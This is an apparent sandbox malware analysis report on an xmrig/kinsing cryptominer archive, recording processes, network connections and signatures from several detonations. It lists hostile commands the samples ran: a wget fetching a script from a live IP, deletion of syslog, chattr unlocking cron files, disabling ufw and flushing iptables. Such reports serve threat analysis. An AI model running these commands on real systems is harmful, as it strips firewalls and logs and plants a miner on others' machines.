Malware Analysis Report

2025-01-02 07:04

Sample ID 241206-rejsyswrgj
Target script_malware.zip
SHA256 78276bd481a04c29109fbbd8313701e5b814165fa4b48515ec4489ccfda93107
Tags
discovery xmrig_linux defense_evasion evasion execution miner persistence privilege_escalatio privilege_escalation rootkit antivm exection
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral22

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral24

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral25

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral29

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral32

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral28

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral31

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral23

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral30

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral26

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral27

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral21

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

78276bd481a04c29109fbbd8313701e5b814165fa4b48515ec4489ccfda93107

Threat Level: Known bad

The file script_malware.zip was found to be: Known bad.

Malicious Activity Summary

discovery xmrig_linux defense_evasion evasion execution miner persistence privilege_escalatio privilege_escalation rootkit antivm exection

Xmrig_linux family

xmrig

Modifies the dynamic linker configuration file

File and Directory Permissions Modification

Flushes firewall rules

Deletes system logs

Executes dropped EXE

Loads a kernel module

Enumerates running processes

Modifies systemd

Attempts to change immutable files

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Creates/modifies Cron job

Disables AppArmor

Disables SELinux

Changes its process name

Reads CPU attributes

Checks CPU configuration

Enumerates kernel/hardware configuration

Reads runtime system information

Process Discovery

Writes file to tmp directory

System Network Configuration Discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Modifies registry class

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Reported

2024-12-06 14:06

Signatures

N/A

Analysis: behavioral18

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsel-20240611-en

Max time kernel

133s

Max time network

181s

Command Line

[/tmp/script_malware/23.sh]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/23.sh N/A
N/A N/A /usr/bin/wget N/A

Processes

/tmp/script_malware/23.sh

[/tmp/script_malware/23.sh]

/usr/bin/wget

[wget http://182.52.51.239/scripts/23s]

Network

Country Destination Domain Proto
TH 182.52.51.239:80 tcp
TH 182.52.51.239:80 tcp

Files

N/A

Analysis: behavioral22

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:06

Platform

debian9-mipsel-20240226-en

Max time kernel

0s

Command Line

[/tmp/script_malware/404]

Signatures

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A /tmp/script_malware/404 N/A

Processes

/tmp/script_malware/404

[/tmp/script_malware/404]

Network

N/A

Files

N/A

Analysis: behavioral24

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

153s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\script_malware\864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A
Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\script_malware\864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A

Analysis: behavioral25

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

ubuntu1804-amd64-20240611-en

Max time kernel

13s

Max time network

130s

Command Line

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

Signatures

Xmrig_linux family

xmrig_linux

xmrig

miner xmrig_linux

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes system logs

evasion
Description Indicator Process Target
File deleted /var/log/syslog /bin/rm N/A

Executes dropped EXE

Description Indicator Process Target
N/A /etc/kinsing N/A N/A

Flushes firewall rules

defense_evasion
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A /usr/sbin/ufw N/A
N/A N/A /sbin/iptables N/A

Loads a kernel module

rootkit
Description Indicator Process Target
N/A /lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko /sbin/modprobe N/A

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

privilege_escalation defense_evasion
Description Indicator Process Target
N/A N/A /usr/bin/sudo N/A

Attempts to change immutable files

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /usr/bin/chattr N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /sbin/iptables N/A
N/A N/A /sbin/ip6tables N/A
N/A N/A /bin/grep N/A
N/A N/A /usr/bin/xargs N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Creates/modifies Cron job

execution persistence privilege_escalatio
Description Indicator Process Target
File opened for modification /var/spool/cron/crontabs/tmp.d3N7XF N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.VskOkQ N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.2BjTz2 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.pElwqN N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.0r5GzS N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.PccAeW N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.hL9Yu2 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.VbLTh5 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.LRl161 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.8dbu90 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.EYWdk3 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.v4kutR N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Nq6fo6 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.rdeZc9 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.lalIt7 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.BYHOWL N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.DxPgn6 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.btYC7S N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.BMj8HL N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.E2QHBO N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Li9FzV N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.ygYYIW N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.al5OLV N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.t7TqQ0 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.js00WN N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.A0dld8 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.1nDrOQ N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.H5RU2Y N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Wpj8vX N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.D8V63Z N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.9W6534 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.SXPaZR N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.501u1Q N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.6APDyQ N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.BfP602 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.wV2GG8 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.qc7r9a N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.WGBEtU N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.wBZhX0 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.pDdZN3 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.KQ96AM N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.LRRa1K N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.8AM4FT N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.npgX4U N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.c7oc0X N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.713rq1 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Kq40g4 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.oWs2hP N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.6Am9i6 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.qswzX6 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.AMV9Qa /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.IHGtiI N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.svvqnM N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.iSu8vY N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.ltg4m1 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Bf20u3 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.7FSHfL N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.9RjZO5 N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.7SCQTb N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.d0Kxt1 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.rbkHC4 /usr/bin/crontab N/A
File opened for modification /var/spool/cron/crontabs/tmp.HuF37N N/A N/A
File opened for modification /var/spool/cron/crontabs/tmp.Ho1fU5 N/A N/A

Disables AppArmor

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Disables SELinux

defense_evasion
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates running processes

Changes its process name

Description Indicator Process Target
Changes the process name, possibly in an attempt to hide itself (sysv-install) N/A N/A

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /usr/bin/pkill N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A
File opened for reading /sys/devices/system/cpu/online N/A N/A

Enumerates kernel/hardware configuration

discovery
Description Indicator Process Target
File opened for reading /sys/module/ip6_tables/initstate /sbin/modprobe N/A
File opened for reading /sys/module/x_tables/initstate /sbin/modprobe N/A

Process Discovery

discovery
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /bin/ps N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/17/status N/A N/A
File opened for reading /proc/3311/cmdline N/A N/A
File opened for reading /proc/473/status N/A N/A
File opened for reading /proc/24/cmdline N/A N/A
File opened for reading /proc/1237/status N/A N/A
File opened for reading /proc/1257/cmdline N/A N/A
File opened for reading /proc/174/stat N/A N/A
File opened for reading /proc/1122/cmdline N/A N/A
File opened for reading /proc/311/status N/A N/A
File opened for reading /proc/1095/status N/A N/A
File opened for reading /proc/644/cmdline N/A N/A
File opened for reading /proc/435/cmdline N/A N/A
File opened for reading /proc/24/status N/A N/A
File opened for reading /proc/1163/status N/A N/A
File opened for reading /proc/1118/status N/A N/A
File opened for reading /proc/902/status N/A N/A
File opened for reading /proc/81/cmdline N/A N/A
File opened for reading /proc/3525/status N/A N/A
File opened for reading /proc/760/cmdline N/A N/A
File opened for reading /proc/1463/status N/A N/A
File opened for reading /proc/1139/cmdline N/A N/A
File opened for reading /proc/7/stat N/A N/A
File opened for reading /proc/205/stat /bin/ps N/A
File opened for reading /proc/1329/cmdline N/A N/A
File opened for reading /proc/164/stat N/A N/A
File opened for reading /proc/82/cmdline N/A N/A
File opened for reading /proc/1335/cmdline N/A N/A
File opened for reading /proc/1017/stat N/A N/A
File opened for reading /proc/1171/cmdline N/A N/A
File opened for reading /proc/1181/cmdline N/A N/A
File opened for reading /proc/170/cmdline N/A N/A
File opened for reading /proc/80/status N/A N/A
File opened for reading /proc/1064/cmdline N/A N/A
File opened for reading /proc/1050/cmdline N/A N/A
File opened for reading /proc/1017/cmdline N/A N/A
File opened for reading /proc/162/cmdline N/A N/A
File opened for reading /proc/1078/stat N/A N/A
File opened for reading /proc/1293/stat N/A N/A
File opened for reading /proc/307/cmdline N/A N/A
File opened for reading /proc/1037/cmdline N/A N/A
File opened for reading /proc/2853/cmdline /bin/ps N/A
File opened for reading /proc/uptime N/A N/A
File opened for reading /proc/645/status N/A N/A
File opened for reading /proc/3/cmdline N/A N/A
File opened for reading /proc/1275/status N/A N/A
File opened for reading /proc/165/cmdline N/A N/A
File opened for reading /proc/80/cmdline N/A N/A
File opened for reading /proc/1145/cmdline N/A N/A
File opened for reading /proc/1107/status /bin/ps N/A
File opened for reading /proc/1463/cmdline N/A N/A
File opened for reading /proc/1286/stat N/A N/A
File opened for reading /proc/24/status N/A N/A
File opened for reading /proc/23/cmdline N/A N/A
File opened for reading /proc/242/status N/A N/A
File opened for reading /proc/676/status N/A N/A
File opened for reading /proc/1050/status N/A N/A
File opened for reading /proc/1278/status N/A N/A
File opened for reading /proc/407/stat N/A N/A
File opened for reading /proc/1286/status N/A N/A
File opened for reading /proc/163/status N/A N/A
File opened for reading /proc/1163/stat N/A N/A
File opened for reading /proc/571/stat N/A N/A
File opened for reading /proc/7/stat N/A N/A
File opened for reading /proc/548/cmdline N/A N/A

System Network Configuration Discovery

discovery
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A
N/A N/A /sbin/modprobe N/A
N/A N/A /bin/ls N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/log_rot /tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh N/A

Processes

/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh

[/tmp/script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh]

/bin/rm

[rm -rf /var/log/syslog]

/usr/bin/chattr

[chattr -iua /tmp/]

/usr/bin/chattr

[chattr -iua /var/tmp/]

/usr/bin/chattr

[chattr -R -i /var/spool/cron]

/usr/bin/chattr

[chattr -i /etc/crontab]

/usr/sbin/ufw

[ufw disable]

/sbin/iptables

[/sbin/iptables -V]

/lib/ufw/ufw-init

[/lib/ufw/ufw-init force-stop]

/sbin/ip6tables

[ip6tables -L INPUT -n]

/sbin/modprobe

[/sbin/modprobe ip6_tables]

/sbin/iptables

[iptables -F ufw-logging-deny]

/sbin/iptables

[iptables -F ufw-logging-allow]

/sbin/iptables

[iptables -F ufw-not-local]

/sbin/iptables

[iptables -F ufw-user-logging-input]

/sbin/iptables

[iptables -F ufw-user-limit-accept]

/sbin/iptables

[iptables -F ufw-user-limit]

/sbin/iptables

[iptables -F ufw-skip-to-policy-input]

/sbin/iptables

[iptables -F ufw-reject-input]

/sbin/iptables

[iptables -F ufw-after-logging-input]

/sbin/iptables

[iptables -F ufw-after-input]

/sbin/iptables

[iptables -F ufw-user-input]

/sbin/iptables

[iptables -F ufw-before-input]

/sbin/iptables

[iptables -F ufw-before-logging-input]

/sbin/iptables

[iptables -F ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -F ufw-reject-forward]

/sbin/iptables

[iptables -F ufw-after-logging-forward]

/sbin/iptables

[iptables -F ufw-after-forward]

/sbin/iptables

[iptables -F ufw-user-logging-forward]

/sbin/iptables

[iptables -F ufw-user-forward]

/sbin/iptables

[iptables -F ufw-before-forward]

/sbin/iptables

[iptables -F ufw-before-logging-forward]

/sbin/iptables

[iptables -F ufw-track-forward]

/sbin/iptables

[iptables -F ufw-track-output]

/sbin/iptables

[iptables -F ufw-track-input]

/sbin/iptables

[iptables -F ufw-skip-to-policy-output]

/sbin/iptables

[iptables -F ufw-reject-output]

/sbin/iptables

[iptables -F ufw-after-logging-output]

/sbin/iptables

[iptables -F ufw-after-output]

/sbin/iptables

[iptables -F ufw-user-logging-output]

/sbin/iptables

[iptables -F ufw-user-output]

/sbin/iptables

[iptables -F ufw-before-output]

/sbin/iptables

[iptables -F ufw-before-logging-output]

/sbin/iptables

[iptables -Z ufw-logging-deny]

/sbin/iptables

[iptables -Z ufw-logging-allow]

/sbin/iptables

[iptables -Z ufw-not-local]

/sbin/iptables

[iptables -Z ufw-user-logging-input]

/sbin/iptables

[iptables -Z ufw-user-limit-accept]

/sbin/iptables

[iptables -Z ufw-user-limit]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-input]

/sbin/iptables

[iptables -Z ufw-reject-input]

/sbin/iptables

[iptables -Z ufw-after-logging-input]

/sbin/iptables

[iptables -Z ufw-after-input]

/sbin/iptables

[iptables -Z ufw-user-input]

/sbin/iptables

[iptables -Z ufw-before-input]

/sbin/iptables

[iptables -Z ufw-before-logging-input]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -Z ufw-reject-forward]

/sbin/iptables

[iptables -Z ufw-after-logging-forward]

/sbin/iptables

[iptables -Z ufw-after-forward]

/sbin/iptables

[iptables -Z ufw-user-logging-forward]

/sbin/iptables

[iptables -Z ufw-user-forward]

/sbin/iptables

[iptables -Z ufw-before-forward]

/sbin/iptables

[iptables -Z ufw-before-logging-forward]

/sbin/iptables

[iptables -Z ufw-track-forward]

/sbin/iptables

[iptables -Z ufw-track-output]

/sbin/iptables

[iptables -Z ufw-track-input]

/sbin/iptables

[iptables -Z ufw-skip-to-policy-output]

/sbin/iptables

[iptables -Z ufw-reject-output]

/sbin/iptables

[iptables -Z ufw-after-logging-output]

/sbin/iptables

[iptables -Z ufw-after-output]

/sbin/iptables

[iptables -Z ufw-user-logging-output]

/sbin/iptables

[iptables -Z ufw-user-output]

/sbin/iptables

[iptables -Z ufw-before-output]

/sbin/iptables

[iptables -Z ufw-before-logging-output]

/sbin/iptables

[iptables -X ufw-logging-deny]

/sbin/iptables

[iptables -X ufw-logging-allow]

/sbin/iptables

[iptables -X ufw-not-local]

/sbin/iptables

[iptables -X ufw-user-logging-input]

/sbin/iptables

[iptables -X ufw-user-logging-output]

/sbin/iptables

[iptables -X ufw-user-logging-forward]

/sbin/iptables

[iptables -X ufw-user-limit-accept]

/sbin/iptables

[iptables -X ufw-user-limit]

/sbin/iptables

[iptables -X ufw-user-input]

/sbin/iptables

[iptables -X ufw-user-forward]

/sbin/iptables

[iptables -X ufw-user-output]

/sbin/iptables

[iptables -X ufw-skip-to-policy-input]

/sbin/iptables

[iptables -X ufw-skip-to-policy-output]

/sbin/iptables

[iptables -X ufw-skip-to-policy-forward]

/sbin/iptables

[iptables -P INPUT ACCEPT]

/sbin/iptables

[iptables -P OUTPUT ACCEPT]

/sbin/iptables

[iptables -P FORWARD ACCEPT]

/sbin/ip6tables

[ip6tables -F ufw6-logging-deny]

/sbin/ip6tables

[ip6tables -F ufw6-logging-allow]

/sbin/ip6tables

[ip6tables -F ufw6-not-local]

